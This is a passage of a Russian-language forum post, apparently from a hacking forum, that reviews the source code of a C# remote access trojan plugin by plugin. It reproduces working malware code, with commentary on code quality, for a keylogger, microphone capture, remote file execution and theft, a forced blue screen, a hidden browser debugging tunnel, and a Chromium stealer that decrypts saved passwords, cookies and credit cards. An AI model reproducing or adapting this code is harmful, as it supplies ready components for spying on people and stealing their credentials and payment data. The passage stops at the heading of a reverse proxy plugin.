Информация об установленных антивирусах извлекается из WMI. Инфраструктура WMI - это по своей сути такая навороченная база данных о текущей системе с кучей разного функционала. Информация подразделена на классы по назначению, например, таблица классов Win32_Process содержит информацию о запущенных процессах. К слову, насколько мне известно, почему-то не все антивирусные продукты отображаются в SecurityCenter2, если знаете почему (ну, кроме лени антивирусных компаний), поясните за это в комментариях. Для доступа к WMI в дотнетах есть удобные классы в пространстве имен System.Management.
C#:
public static string GetAntivirus()
{
    List<string> antivirus = new List<string>();
    try
    {
        string Path = @"\\" + Environment.MachineName
            + @"\root\SecurityCenter2";
        using (ManagementObjectSearcher MOS =
            new ManagementObjectSearcher
            (Path, "SELECT * FROM AntivirusProduct"))
        {
            foreach (var Instance in MOS.Get())
            {
                string anti =
                    Instance.GetPropertyValue("displayName")
                    .ToString();
                if (!antivirus.Contains(anti))
                {
                    antivirus.Add(anti);
                }
                Instance.Dispose();
            }
            if (antivirus.Count == 0)
            {
                antivirus.Add("N/A");
            }
        }
        return string.Join(", ", antivirus);
    }
    catch
    {
        if (antivirus.Count == 0)
        {
            antivirus.Add("N/A");
        }
        return string.Join(", ", antivirus);
    }
}

Версия и архитектура операционной системы также совершенно логичным образом достаётся из WMI.
C#:
public static string GetWindowsVersion()
{
    string r = "";
    using (ManagementObjectSearcher searcher =
        new ManagementObjectSearcher(
            "SELECT * FROM Win32_OperatingSystem"))
    {
        ManagementObjectCollection information = searcher.Get();
        if (information != null)
        {
            foreach (ManagementObject obj in information)
            {
                r = obj["Caption"].ToString() + " - "
                    + obj["OSArchitecture"].ToString();
            }
            information.Dispose();
        }
    }
    return r;
}

Плагин менеджер файлов

Вся удаленная работа с файловой системой клиента вынесена в отдельный плагин File manager. Плагин в зависимости от захардкоженного байта (ух, ненавижу это) выполняет одно из действий: пролистать директорию, залить файл, скачать файл, запустить файл или удалить файл. Интересно, что автор после выполнения команды запускает принудительную сборку мусора методом GC.Collect, вероятно, в ходе тестирования он сталкивался с тем, что клиент из-за асинков долго не освобождал буферы, выделенные под данные файлов при заливке или скачке последних (что жрало много виртуальной памяти процесса ратника).
C#:
int type = typedata[0];
if (type == 0)
{
    await FileViewer(node);
}
else if (type == 1)
{
    await FileUploader(node);
    //file download
}
else if (type == 2)
{
    await FileDownloader(node);
    //file upload
}
else if (type == 3)
{
    await StartFile(node);
}
else if (type == 4)
{
    await DeleteFile(node);
}
GC.Collect();

Реализация обработчиков по удалению и запуску файла предельно простая, просто зачитывается полный путь к файлу в кодировке UTF-8, который потом используется для удаления или запуска файла, например, так.
C#:
private async Task StartFile(Node node)
{
    byte[] success = new byte[] { 1 };
    byte[] fail = new byte[] { 0 };
    byte[] data = await node.ReceiveAsync();
    if (data == null)
    {
        node.Disconnect();
        return;
    }
    string path = Encoding.UTF8.GetString(data);
    try
    {
        Process.Start(path);
        await node.SendAsync(success);
    }
    catch
    {
        await node.SendAsync(fail);
    }
}

Загрузка и заливка файлов происходит блоками по 500 тысяч байт (да, не 500 килобайт, а именно 500 тысяч байт), не знаю в чем смысл именно этого числа, но тут как минимум учитывается, что файлы бывают большими, и их совсем не нужно целиком грузить в память и целиком пихать в сокет, что хорошо (на мой взгляд).
C#:
private async Task FileUploader(Node node)
{
    byte[] success = new byte[] { 1 };
    byte[] fail = new byte[] { 0 };
    byte[] data=await node.ReceiveAsync();
    if (data == null)
    {
        node.Disconnect();
        return;
    }
    string path=Encoding.UTF8.GetString(data);
    if (!await CanRead(path))
    {
        await node.SendAsync(fail);
        node.Disconnect();
        return;
    }
    await node.SendAsync(success);
    long length = new FileInfo(path).Length;
    await node.SendAsync(LongToBytes(length));
    using (FileStream stream =
        new FileStream(path, FileMode.Open, FileAccess.Read))
    {
        byte[] block = new byte[500000];
        int readcount;

        while ((readcount = await
            stream.ReadAsync(block, 0, block.Length)) > 0)
        {
            byte[] blockBytes = new byte[readcount];
            Array.Copy(block, blockBytes, readcount);
            await node.SendAsync(blockBytes);
        }
    }
    await Task.Delay(500);
    node.Disconnect();
}

Для получения листинга папки аналогично с удалением и запуском файла принимается полный путь в кодировке UTF-8. Если путь пустой, то выводится список логических дисков. Серверу сначала отправляется количество всех полученных папок, затем имена папок по отдельности. После этого таким же образом отправляются файлы.
C#:
private async Task FileViewer(Node node)
{
    byte[] success = new byte[] { 1 };
    byte[] fail = new byte[] { 0 };
    while (node.Connected())
    {
        byte[] data=await node.ReceiveAsync();
        if (data == null)
        {
            break;
        }
        string path=Encoding.UTF8.GetString(data);
        try
        {
            string[] Directories = { };
            string[] Files = { };
            if (path == "")
            {
                Directories = Directory.GetLogicalDrives();
            }
            else
            {
                Directories = Directory.GetDirectories(path);
                Files=Directory.GetFiles(path);
            }
            await node.SendAsync(success);
            await node.SendAsync(
                node.sock.IntToBytes(Directories.Length));
            foreach (string i in Directories)
            {
                await node.SendAsync(Encoding.UTF8.GetBytes(i));
            }
            await node.SendAsync(
                node.sock.IntToBytes(Files.Length));
            foreach (string i in Files)
            {
                await node.SendAsync(Encoding.UTF8.GetBytes(i));
            }
        }
        catch
        {
            await node.SendAsync(fail);
        }
    }
    node.Disconnect();
}

Плагин веселья
Если честно, я не знаю кому в целом мире нужно косплеить полтергейст, но я уже не первый раз вижу в ратниках функционал по открыванию cdrom приводов, гашения мониторов и всякого такого бреда. Наверное, кто-то получает от этого удовольствие. В целом я не из тех, кто осуждает, это, конечно, очень "сомнительно, но окей" (c). Так, например, ратник при особо острой необходимости злоумышленника может валить систему в синий экран с помощью NtRaiseHardError.
C#:
public void BlueScreen()
{
    RtlAdjustPrivilege(19, true, false, out bool tmp1);
    NtRaiseHardError(0xC0140002, 0, 0, IntPtr.Zero, 6, out uint tmp2);
}

Другие функции на мой взгляд слишком просты в реализации, чтобы их подробно описывать. Открытие и закрытие cdrom привода реализовано через API-функцию mciSendString из библиотеки winmm.dll, отключение и включение монитора через отправку оконных сообщений, установка громкости динамика через COM-интерфейс IAudioEndpointVolume. Главное в этом всём - не перепутать, какую функцию и когда вызывать, хардкод ведь.
C#:
if (opcode == 1)
{
    OpenCDtray();
}
else if (opcode == 2)
{
    CloseCdtray();
}
else if (opcode == 3)
{
    MonitorOff();
}
else if (opcode == 4)
{
    MonitorOn();
}
else if (opcode == 5)
{
    int volume = (await node.ReceiveAsync())[0];
    SetVolume(volume);
}

Плагин скрытый браузер

Насколько я понял, смысл данного плагина в том, чтобы запускать Chrome и Firefox в отдельном скрытом окне с включенным отладочным портом, а затем обеспечить туннель для прямого взаимодействия сервера с браузером по протоколам отладки. Видимо, этот плагин на момент публичного релиза был не доработан, так как ни Firefox'а, ни запуска Chrome в скрытом окне пока еще туда не завезли (хотя он, может, и так в скрытом окне запускается таким вот образом, я не тестил).
C#:
public void FirefoxForwarder(Node node,string FireFoxPath)
{
 
}

public void ChromeForwarder(Node node, string ChromePath)
{
    Console.WriteLine(ChromePath);
    Console.WriteLine(ChromePath,
        "--user-data-dir=C:\\chrome-dev-profile23 --remote-debugging-port=9222");
    Process.Start(ChromePath,
        "--user-data-dir=C:\\chrome-dev-profile23 --remote-debugging-port=9222");
    Socket socket = new Socket(AddressFamily.InterNetwork,
        SocketType.Stream, ProtocolType.Tcp);
    Thread.Sleep(5);
    socket.Connect("localhost", 9222);
    Console.WriteLine(socket.Connected);
    new Thread(() => sendThread(socket, node)).Start();
    recvThread(socket, node);
}

Что бы вы понимали, современные браузеры поддерживают автоматизацию и отладку через открытие TCP-порта. Для этого браузер нужно запустить со специальным параметром: в случае браузеров на базе Chromium этот параметр называется remote-debugging-port (про лису не скажу, напишите в комментариях, кто шарит). Дальше к этому порту можно подключиться и осуществлять отладку браузера. Это можно делать по Web, подключившись другим браузером, или по протоколу WebSocket. Примеры работы с браузером через WebSocket есть в интернете. Ратник же просто транслирует данные с сервера в порт браузера и в обратную сторону.

Плагин кейлоггер

Плагин кейлоггер работает по ставшей уже мега-классической схеме c использованием WinAPI функции SetWindowsHookEx с флагом WH_KEYBOARD_LL. Для корректной обработки событий нажатия клавиш с помощью этой функции необходим поток для обработки оконных сообщений, в мире дотнетов это достаточно просто сделать вызовом метода Application.Run, который поток обработки оконных сообщений и запустит. Плагин создает список строк, который использует в качестве очереди для передачи нажатых пользователем клавиш серверу. Этот список заполняется методом для обработки события нажатия клавиши, а в методе Run просто отправляется на сервер в цикле. Также обратите внимание, что перед самой передачей коллбека HookCallback в SetWindowsHookEx автор кладет его в переменную hcDelegate. Это - не бездумное копирование объекта делегата, дело в том, что если его не положить в переменную или в поле класса, то сборщик мусора может его собрать прямо во время его использования при возникновении события нажатия клавиши. Но поскольку он лежит в переменной или в поле, то на него есть ссылки, и сборщик мусора не будет в праве его собирать.
C#:
List<string> SendQueue = new List<string>();
public async Task Run(Node node)
{
    await node.SendAsync(new byte[] { 3 });//indicate that it has connected
 
    this.node = node;
    IntPtr hookHandle=IntPtr.Zero;
    HookCallbackDelegate hcDelegate = HookCallback;
    Process currproc = Process.GetCurrentProcess();
    string mainModuleName = currproc.MainModule.ModuleName;
    currproc.Dispose();
    new Thread(() => {
        hookHandle = SetWindowsHookEx(WH_KEYBOARD_LL,
            hcDelegate, GetModuleHandle(mainModuleName), 0);
        if (!Application.MessageLoop)
        {
            Application.Run();
        }
    }).Start();
    while (node.Connected())
    {
        if (SendQueue.Count > 0)
        {
            string activeWindow = (await
                Utils.GetCaptionOfActiveWindowAsync()).Replace("*","");
            string chars = string.Join("", SendQueue);
            SendQueue.Clear();
            await sendKeyData(activeWindow, chars);
        }
        await Task.Delay(1);
    }
    if (hookHandle != IntPtr.Zero)
    {
        UnhookWindowsHookEx(hookHandle);
    }
}

Мне как-то совершенно не нравится этот код. Во-первых, объект потока создается, но нигде не хранится. По завершению цикла хук снимается, но никто не завершает поток. Вполне вероятно, что при последовательном запуске и завершении нескольких кейлоггеров, будут оставаться такие брошенные на произвол судьбы потоки. Вообще, говорят, что теоретический лимит потоков в процессе будет порядка 2000, вроде бы много, но нужно понимать, что это может влиять на производительность.

Во-вторых, доступ к SendQueue происходит из двух потоков, но никакой синхронизации доступа не происходит. Конечно, это же ласковые дотнеты (а не жесткие С/С++), race condition между потоками в данном случае чреват скорее всего только периодической потерей нескольких нажатых символов. Но все же, так лучше не делать. В C# есть очень удобная конструкция lock, которая как раз и предназначена для таких простых синхронизаций объектов между потоками.

Обработчик события считывает код нажатой клавиши из lParam, проверяет, нажата ли при этом клавиша Shift, получает строку с отображением символа из реализованного далее метода, проверяет на CapsLock и добавляет символ в очередь отправки.
C#:
public IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
    {
        int vkCode = Marshal.ReadInt32(lParam);
        bool isShiftPressed = (GetAsyncKeyState((int)Keys.ShiftKey)
            & 0x8000) != 0;
        string character = GetCharacterFromKey((uint)vkCode, isShiftPressed);
        if ((((ushort)GetKeyState(0x14)) & 0xffff) != 0)//check for caps lock
        {
            character = character.ToUpper();
        }
        SendQueue.Add(character);
    }
    return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
}

Метод GetCharacterFromKey использует WinAPI-функцию ToUnicode для того, чтобы получить значение символа из кода нажатой клавиши. Если символ состоит в таблице непечатаемых символов, то возвращается его строковое представление.
C#:
private static string GetCharacterFromKey(
    uint virtualKeyCode, bool isShiftPressed)
{
    StringBuilder receivingBuffer = new StringBuilder(5);
    byte[] keyboardState = new byte[256];

    // Set the state of Shift key based on the passed parameter
    keyboardState[0x10] = (byte)(isShiftPressed ? 0x80 : 0);

    // Map the virtual key to the corresponding character
    int result = ToUnicode(virtualKeyCode, 0, keyboardState,
        receivingBuffer, receivingBuffer.Capacity, 0);

    if (result > 0)
    {
        string character = receivingBuffer.ToString();

        // Replace non-visible characters with
        // descriptive words using the dictionary
        if (nonVisibleCharacters.ContainsKey(virtualKeyCode))
        {
            string nonVisibleCharacter = nonVisibleCharacters[virtualKeyCode];

            // Apply Shift key state to the non-visible character
            if (isShiftPressed)
            {
                // Apply Shift key modifications
                // based on the non-visible character
                switch (nonVisibleCharacter)
                {
                    case ";":
                        return ":";
                    case "=":
                        return "+";
                    case ",":
                        return "<";
                    case "-":
                        return "_";
                    case ".":
                        return ">";
                    case "/":
                        return "?";
                    case "`":
                        return "~";
                    case "[":
                        return "{";
                    case "\\":
                        return "|";
                    case "]":
                        return "}";
                    case "'":
                        return "\"";
                }
            }

            return nonVisibleCharacter;
        }

        return character;
    }

    return string.Empty;
}

Плагин живой микрофон

Этот плагин позволяет выбирать и записывать звук с аудио устройств, делает он это с использованием сторонней дотнет библиотеки NAudio. Сама библиотека таскается с плагином, ее исходный код включен в проект плагина и лежит в папке lib. Сначала создается объект WaveInEvent, которому устанавливаются параметры 44.1 килогерц и 16 бит. Когда происходит получение новых данных с выбранного устройства, срабатывает событие DataAvailable, и эти данные отправляются серверу.
C#:
public async Task Run(Node node)
{
    await node.SendAsync(new byte[] { 3 });//indicate that it has connected
    try
    {
        waveIn.WaveFormat = new WaveFormat(44100, 16, 2);
        waveIn.DataAvailable += async (sender, e) =>
        {
            if (playing)
            {
                if (MicNode != null)
                {
                    await MicNode.SendAsync(e.Buffer);
                }
            }

        };
        await recvThread(node);
        waveIn.Dispose();
        MicNode.Disconnect();
    }
    catch
    {
        node.Disconnect();
        MicNode?.Disconnect();
        waveIn?.Dispose();
    }
}

Клиент может получать список доступных устройств для записи, для этого сначала возвращается количество устройств, затем возвращаются названия этих устройств. Также клиент может переключаться между устройствами, запускать и останавливать запись.
C#:
if (data[0] == 1)
{
    await node.SendAsync(node.sock.IntToBytes(WaveInEvent.DeviceCount));
    for (int i = 0; i < WaveInEvent.DeviceCount; i++)
    {
        var deviceInfo = WaveInEvent.GetCapabilities(i);
        await node.SendAsync(Encoding.UTF8.GetBytes(deviceInfo.ProductName));
    }
}
else if (data[0] == 2)
{
    waveIn.DeviceNumber = node.sock.BytesToInt(await node.ReceiveAsync());
}
else if (data[0] == 3)
{
    playing = true;
    waveIn.StartRecording();
}
else if (data[0] == 4)
{
    playing = false;
    waveIn.StopRecording();
}
else if (data[0] == 5)
{
    byte[] id = await node.ReceiveAsync();
    if (id != null)
    {
        int nodeid = node.sock.BytesToInt(id);
        Node tempnode = null;
        foreach (Node i in node.Parent.subNodes)
        {
            if (i.SetId == nodeid)
            {
                await node.SendAsync(new byte[] { 1 });
                tempnode = i;
                break;
            }
        }
        if (tempnode == null)
        {
            await node.SendAsync(new byte[] { 0 });
            continue;
        }
        node.AddSubNode(tempnode);
        MicNode = tempnode;
    }
    else
    {
        break;
    }
}

Продолжение в сообщении ниже, в одно не влезло.

Поддержать автора:
Скрытое содержимое

ЗЫ: если нашли какие-то ошибки или неточности в материале, не стесняйтесь меня поправить.
ЗЗЫ: если после прочтения материала что-то осталось плохо понятным, не стесняйтесь задавать вопросы.



Плагин пассграб

Этот плагин работает, как типичный стиллер на C#. Более того, он даже использует SqliteHanlder, который в один прекрасный момент истории был декомпилирован из какого-то старого стиллера (напомните, из какого в комментариях), а теперь кочует по вообще всем стиллерам на C#. Говорить подробно о SqliteHandler особо смысла не имеет, он был декомпилирован из VB.NET кода, поэтому выглядит максимально всрато, но при этом работает. Структура базы данных SQLite3 довольно простая, но все же требует приличного количества кода для ее разбора. Очень печально, что разработчики стиллеров и ратников до сих пор не переписали ее нормально на языке C#, просто ленятся и таскают друг у друга работающий говнокод.

Поскольку разбор того, как работают стиллеры - это прекрасная тема для отдельного материала в будущем, я не буду рассматривать функционал этого плагина подробно. Он работает исключительно с браузерами на базе Chromium, браузеры на базе Firefox завезены пока что не были. В зависимости от первого байта (хардкод) плагин возвращает пароли, куки, кредитные карты, загрузки или историю.
C#:
if (opcode == 0)//passwords
{
    List<Chromium.Login> loginData = await chromium.GetLoginData();
    Console.WriteLine(loginData.Count);
    payload = SerializeLoginList(loginData);
}
else if (opcode == 1)//cookies
{
    List<Chromium.Cookie> cookieData = await chromium.GetCookies();
    payload = SerializeCookieList(cookieData);
}
else if (opcode == 2)//cc's
{
    List<Chromium.CreditCard> cardData = await chromium.GetCreditCards();
    payload = SerializeCreditCardList(cardData);
}
else if (opcode == 3)//downloads
{
    List<Chromium.Download> downloadData = await chromium.GetDownloads();
    payload = SerializeDownloadList(downloadData);
}
else if (opcode == 4)//history
{
    List<Chromium.WebHistory> historyData = await chromium.GetWebHistory();
    payload = SerializeWebHistoryList(historyData);
}

Таблица с полными путями до профилей пользователя у разных браузеров тоже кочует от одного стиллера к другому. Вряд ли у кого-то хватает сил и терпения её полностью проверить, у меня складывается впечатление, что она просто копируется туда сюда, чтобы потом сказать, что "вот мы поддерживаем 100500 разных браузеров, мы крутые". Но вот, например, в данном случае, просто исходя из кода, я могу Вам гарантировано сказать, что плагин не сможет достать пароли, куки и кредитные карты из Яндекс Браузера, так как у него свой собственный алгоритм хранения шифрованных данных внутри Sqlite (не v10 и не v11). Но Яндекс почему-то в этом списке есть. Ну и да, поддержки извлечения шифрованных сравнительно новым алгоритмом (v20) данных нет.
C#:
public static Dictionary<string, string> browsers =
    new Dictionary<string, string> {
    { "amigo", $"{local_appdata}\\Amigo\\User Data" },
    { "torch", $"{local_appdata}\\Torch\\User Data" },
    { "kometa", $"{local_appdata}\\Kometa\\User Data" },
    { "orbitum", $"{local_appdata}\\Orbitum\\User Data" },
    { "cent-browser", $"{local_appdata}\\CentBrowser\\User Data" },
    { "7star", $"{local_appdata}\\7Star\\7Star\\User Data" },
    { "sputnik", $"{local_appdata}\\Sputnik\\Sputnik\\User Data" },
    { "vivaldi", $"{local_appdata}\\Vivaldi\\User Data" },
    { "google-chrome-sxs",
        $"{local_appdata}\\Google\\Chrome SxS\\User Data" },
    { "google-chrome", $"{local_appdata}\\Google\\Chrome\\User Data" },
    { "epic-privacy-browser",
        $"{local_appdata}\\Epic Privacy Browser\\User Data" },
    { "microsoft-edge", $"{local_appdata}\\Microsoft\\Edge\\User Data" },
    { "uran", $"{local_appdata}\\uCozMedia\\Uran\\User Data" },
    { "yandex", $"{local_appdata}\\Yandex\\YandexBrowser\\User Data" },
    { "brave",
        $"{local_appdata}\\BraveSoftware\\Brave-Browser\\User Data" },
    { "iridium", $"{local_appdata}\\Iridium\\User Data" },
    { "chromium", $"{local_appdata}\\Chromium\\User Data" },
    { "qqbrowser", $"{local_appdata}\\Tencent\\QQBrowser\\User Data" },
    { "chromeplus", $"{local_appdata}\\ChromePlus\\User Data" },
    { "chedot", $"{local_appdata}\\Chedot\\User Data" },
    { "coowon", $"{local_appdata}\\Coowon\\User Data" },
    { "liebao",
        $"{local_appdata}\\Cheetah Mobile\\Liebao Browser\\User Data" },
    { "qip-surf", $"{local_appdata}\\QIP\\Surf\\User Data" },
    { "comodo", $"{local_appdata}\\Comodo\\Dragon\\User Data" },
    { "360browser", $"{local_appdata}\\360SE\\User Data" },
    { "maxthon3", $"{local_appdata}\\Maxthon3\\User Data" },
    { "coccoc", $"{local_appdata}\\CocCoc\\Browser\\User Data" },
    { "chromodo", $"{local_appdata}\\Comodo\\Chromodo\\User Data" },
    { "blackhawk", $"{local_appdata}\\Netgate\\BlackHawk\\User Data" },

    { "opera", $"{roaming_appdata}\\Opera Software\\Opera Stable" },
    { "opera-gx", $"{roaming_appdata}\\Opera Software\\Opera GX Stable" }
};

Для получения мастер ключа загружается файл Local State, который по сути является файлом формата JSON. Для разбора формата JSON используется класс JavaScriptSerializer - это не самый лучший парсер, но для целей плагина его должно хватать. Мастер ключ зашифрован с помощью DPAPI, в дотнетах есть удобная обвязка ProtectedData, чтобы его расшифровать.
C#:
private static byte[] GetMasterKey(string path)
{
    if (!File.Exists(path))
        return null;

    string content = File.ReadAllText(path);
    if (!content.Contains("os_crypt"))
        return null;

    JavaScriptSerializer serializer = new JavaScriptSerializer();
    dynamic jsonObject = serializer.Deserialize<dynamic>(content);

    if (jsonObject != null && jsonObject.ContainsKey("os_crypt"))
    {
        string encryptedKeyBase64 = jsonObject["os_crypt"]["encrypted_key"];
        byte[] encryptedKey = Convert.FromBase64String(encryptedKeyBase64);

        byte[] masterKey =
            Encoding.Default.GetBytes(Encoding.Default.GetString
            (encryptedKey, 5, encryptedKey.Length - 5));

        return ProtectedData.Unprotect
            (masterKey, null, DataProtectionScope.CurrentUser);
    }
    return null;
}

Для дешифрования паролей, кукизов и кредиток используется сторонняя библиотека BouncyCastle - это довольно жирная библиотека, реализующая тонну разных криптографических алгоритмов. Напомню, что в браузерах на базе Chromium используется шифрование AES в режиме GCM (в режиме счетчика Галуа). Этот алгоритм стал популярен сравнительно недавно, и дотнеты в своей базе его не поддерживают. Но таскать с собой такую жирную библиотеку на мой взгляд бессмысленно. В некоторых стиллерах этот функционал реализован через встроенную в операционную систему библиотеку bcrypt.dll, некоторые просто забирают файлы с файловой системы и дешифруют данные уже на сервере. Имхо оба эти подхода были бы лучше, но имеем то, что имеем.
C#:
private string DecryptPassword(byte[] buffer, byte[] masterKey)
{
    try
    {
        byte[] iv = new byte[12];
        Buffer.BlockCopy(buffer, 3, iv, 0, iv.Length);
        byte[] payload = new byte[buffer.Length - 15];
        Buffer.BlockCopy(buffer, 15, payload, 0, payload.Length);

        GcmBlockCipher cipher = new GcmBlockCipher(new AesEngine());
        cipher.Init(false, new AeadParameters(new
            KeyParameter(masterKey), 128, iv));
        byte[] decryptedPass = new byte[
            cipher.GetOutputSize(payload.Length)];
        int len = cipher.ProcessBytes(payload,
            0, payload.Length, decryptedPass, 0);
        cipher.DoFinal(decryptedPass, len);
        return Encoding.Default.GetString(decryptedPass);
    }
    catch
    {
        return null;
    }
}

Давайте рассмотрим один из методов, предназначенных для извлечения данных, например, паролей. Сначала метод получает полный путь до файла Login Data и копирует его в папку Temp. С первого взгляда это может показаться ненужной манипуляцией, но это делается для того, чтобы прочитать данный файл при открытом процессе браузера. Простое чтение этого файла при открытом браузере невозможно, так как браузер блокирует файл, но скопировать его всё ещё можно (как минимум так было, когда я последний раз проверял). Поэтому метод копирует файл всегда. Файл Login Data является базой данных Sqlite3 и читается с помощью пресловутого SQLiteHandler. В базе данных находится таблица logins, из которой извлекаются адреса, имена пользователя и пароли в зашифрованном виде. Пароли расшифровываются с помощью описанного ранее метода, всё довольно просто.
C#:
private async Task<List<Login>> GetLoginData(string path, byte[] masterKey)
{
    string loginDbPath = Path.Combine(path, "Login Data");
    if (!File.Exists(loginDbPath))
        return null;

    string tempDbPath =
        Path.Combine(Path.GetTempPath(), Path.GetRandomFileName());
    File.Copy(loginDbPath, tempDbPath, true);
    List<Login> logins = new List<Login>();

    try
    {
        await Task.Run(() =>
        {
            SQLiteHandler conn = new SQLiteHandler(tempDbPath);
            if (!conn.ReadTable("logins"))
            {
                logins = null;
                return;
            }

            for (int i = 0; i < conn.GetRowCount(); i++)
            {
                string password = conn.GetValue(i, "password_value");
                string username = conn.GetValue(i, "username_value");
                string url = conn.GetValue(i, "action_url");

                if (password == null || username == null
                    || url == null) continue;

                password = DecryptPassword(
                    Encoding.Default.GetBytes(password), masterKey);
                if (password == "" && username == "")
                {
                    continue;
                }
                logins.Add(new Login(url, username, password));
            }
        });
    }
    catch
    {
        logins = null;
    }

    File.Delete(tempDbPath);
    return logins;
}

Плагин менеджер процессов

Плагин менеджер процессов отправляет серверу текущий список запущенных процессов, а также может убивать процесс по его идентификатору при получении соответствующей команды. Реализация этого очень странная. Сначала код получает список процессов средствами дотнета через метод GetProcesses, затем он получает полные пути к исполняемым файлам процессов через WMI и Win32_Process. Потом для каждого процесса проходит список CreateToolhelp32Snapshot в поисках процесса родителя (для каждого процесса один проход по списку). На мой взгляд, это - очень плохо. Всю необходимую информацию для построения такого списка автор мог получить за один раз через WMIWin32_Process есть поле ParentProcessId, алё!).
C#:
public async Task Run(Node node)
{
    await node.SendAsync(new byte[] { 3 });//indicate that it has connected
    RecvThread(node);
    while (node.Connected())
    {
        if (!paused)
        {
            Process[] processes = Process.GetProcesses();
            Dictionary<int, string> processFilePaths =
                await GetAllProcessFilePathsAsync();
            Dictionary<int, ProcessNode> processMap =
                await BuildProcessTree(processes, processFilePaths);
            List<ProcessNode> rootProcesses = GetRootProcesses(processMap);
            disposeAllProcess(processes);
            byte[] searlized = SerializeProcessList(rootProcesses);
            await node.SendAsync(searlized);
        }
        else
        {
            await Task.Delay(500);
        }
    }
}

Метод GetAllProcessFilePaths получает полные пути до исполняемых файлов всех процессов через запрос информации классов Win32_Process из WMI. На будущее: класс Win32_Process содержит Для просмотра ссылки Войди или Зарегистрируйся с информацией, некоторые поля могут быть незаполненными в зависимости от того, с какими правами запрашивается информация. Но я на 99.9 процентов уверен, что из этой таблицы при любых обстоятельствах можно получить всю необходимую информацию, не прибегая к другим методам. Также стоит отметить, что на полученных объектах процессов есть интересные методы типа GetOwner, вызвав который можно получить имя пользователя, запустившего процесс. Ну и я в который раз расстраиваюсь тому, что автор вызывает Dispose напрямую, а не через выражение using.
C#:
private Dictionary<int, string> GetAllProcessFilePaths()
{
    var processFilePaths = new Dictionary<int, string>();
    ManagementObjectSearcher searcher=null;
    ManagementObjectCollection objects=null;
    try
    {
        searcher = new ManagementObjectSearcher(
            "SELECT Description, ProcessId, ExecutablePath, "
            + "CommandLine FROM Win32_Process");
        objects = searcher.Get();
        foreach (ManagementObject obj in objects)
        {
            int processId = Convert.ToInt32(obj["ProcessId"]);
            string filename = obj["Description"].ToString();
            string filePath = obj["ExecutablePath"]?.ToString() ?? string.Empty;
       
            if (string.IsNullOrEmpty(filePath))
            {
                // If ExecutablePath is null, try to retrieve
                // the path from the CommandLine
                string commandLine = obj["CommandLine"]?.ToString()
                    ?? string.Empty;
                filePath = ExtractFilePathFromCommandLine(commandLine);
            }
            if (string.IsNullOrEmpty(filePath))
            {
                if (windowsProcessPaths.TryGetValue(filename,
                out string path))
                {
                    filePath = path;
                }
            }
            processFilePaths[processId] = filePath;
            obj.Dispose();
        }      
    }
    catch (ManagementException)
    {
        // Handle exceptions if WMI query fails
    }
    if (searcher != null)
    {
        searcher.Dispose(); 
    }
    if (objects != null)
    {
        objects.Dispose();
    }
    return processFilePaths;
}

Далее метод GetParentProcessId снова получает список процессов, но уже через WinAPI-функция CreateToolhelp32Snapshot, и более того, обход списка процессов происходит для каждого найденного ранее процесса.
C#:
private int GetParentProcessId(Process process)
{
    IntPtr snapshotHandle = CreateToolhelp32Snapshot(
        2 /* TH32CS_SNAPPROCESS */, 0);

    if (snapshotHandle.ToInt64() == -1)
    {
        throw new Win32Exception(Marshal.GetLastWin32Error());
    }

    PROCESSENTRY32 processEntry = new PROCESSENTRY32();
    processEntry.dwSize = (uint)Marshal.SizeOf(typeof(PROCESSENTRY32));

    if (!Process32First(snapshotHandle, ref processEntry))
    {
        throw new Win32Exception(Marshal.GetLastWin32Error());
    }

    do
    {
        if (processEntry.th32ProcessID == (uint)process.Id)
        {
            return (int)processEntry.th32ParentProcessID;
        }
    }
    while (Process32Next(snapshotHandle, ref processEntry));

    return -1; // Default value if parent process ID is not found
}

После этого происходит "построение дерева" из списка процессов и его сериализация для отправки серверу. В этих алгоритмах нет особо ничего интересного, поэтому я предлагаю вам самим с ними ознакомиться. Снятие списка процессов (условно) 50 раз вместо одного (GetProcess, WMI и CreateToolhelp32Snapshot для каждого из процессов) помимо очевидных проблем с проделованием одной работы лишних 49 раз, также может иметь некоторый race-condition, когда в процессе этих 50 снимков один или несколько процессов завершаются или запускаются. Корректно ли данный алгоритм отработает такую ситуацию - я не знаю, надо тестить, а лучше было бы вообще так не делать.

Команда на убийство процесса отрабатывает свой функционал простым вызовом метода Kill на объекте процесса. Какой именно процесс нужно убить передается в виде PID (Process Identifier).
C#:
Process process=null;
try
{
    int pid = node.sock.BytesToInt(data);
    process = Process.GetProcessById(pid);
    process.Kill();
}
catch
{

}
if (process != null)
{
    process.Dispose();
}

Плагин менеджер реестра

Этот плагин позволяет пролистывать ветки реестра операционной системы и удалять ключи и значения. Судя по всему, функционал по созданию ключей и записи значений отсутствует. Ключи реестра открываются средствами дотнетов с флагом RegistryView.Registry64, поэтому проблем с редиректом ключей Wow64 быть не должно. Для тех, кто не в курсе, доступ к ряду ключей реестра для 32-битных приложений на 64-битной системе автоматом переносится в отдельную ветку, которая называется Wow6432Node, более подробно об этом можно почитать Для просмотра ссылки Войди или Зарегистрируйся.

В остальном отметить по этому плагину больше нечего, по сути это просто прослойка поверх функционала по работе с ключами реестра в дотнетах.
C#:
if (data[0] == 1)
{
    byte[] byte_path = await node.ReceiveAsync();
    string path=Encoding.UTF8.GetString(byte_path);
    try {
        RegInfo path_info = GetRegInfo(path);
        if (path_info != null)
        {
            await node.SendAsync(new byte[] { 1 });
            await node.SendAsync(SerializeRegInfo(path_info));
        }
        else
        {
            await node.SendAsync(new byte[] { 0 });
        }
    }
    catch
    {
        await node.SendAsync(new byte[] { 0 });
    }
}
if (data[0] == 2)
{
    byte[] byte_path = await node.ReceiveAsync();
    string path = Encoding.UTF8.GetString(byte_path);
    try {
        bool worked = DeleteRegistrySubkey(path);
        if (worked)
        {
            await node.SendAsync(new byte[] { 1 });
        }
        else
        {
            await node.SendAsync(new byte[] { 0 });
        }
    }
    catch
    {
        await node.SendAsync(new byte[] { 0 });
    }
}
if (data[0] == 3)
{
    byte[] byte_path = await node.ReceiveAsync();
    byte[] byte_keyname = await node.ReceiveAsync();
    string path = Encoding.UTF8.GetString(byte_path);
    string keyname = Encoding.UTF8.GetString(byte_keyname);
    try
    {
        bool worked = DeleteRegistryValue(path, keyname);
        if (worked)
        {
            await node.SendAsync(new byte[] { 1 });
        }
        else
        {
            await node.SendAsync(new byte[] { 0 });
        }
    }
    catch
    {
        await node.SendAsync(new byte[] { 0 });
    }
}

Плагин реверс прокси

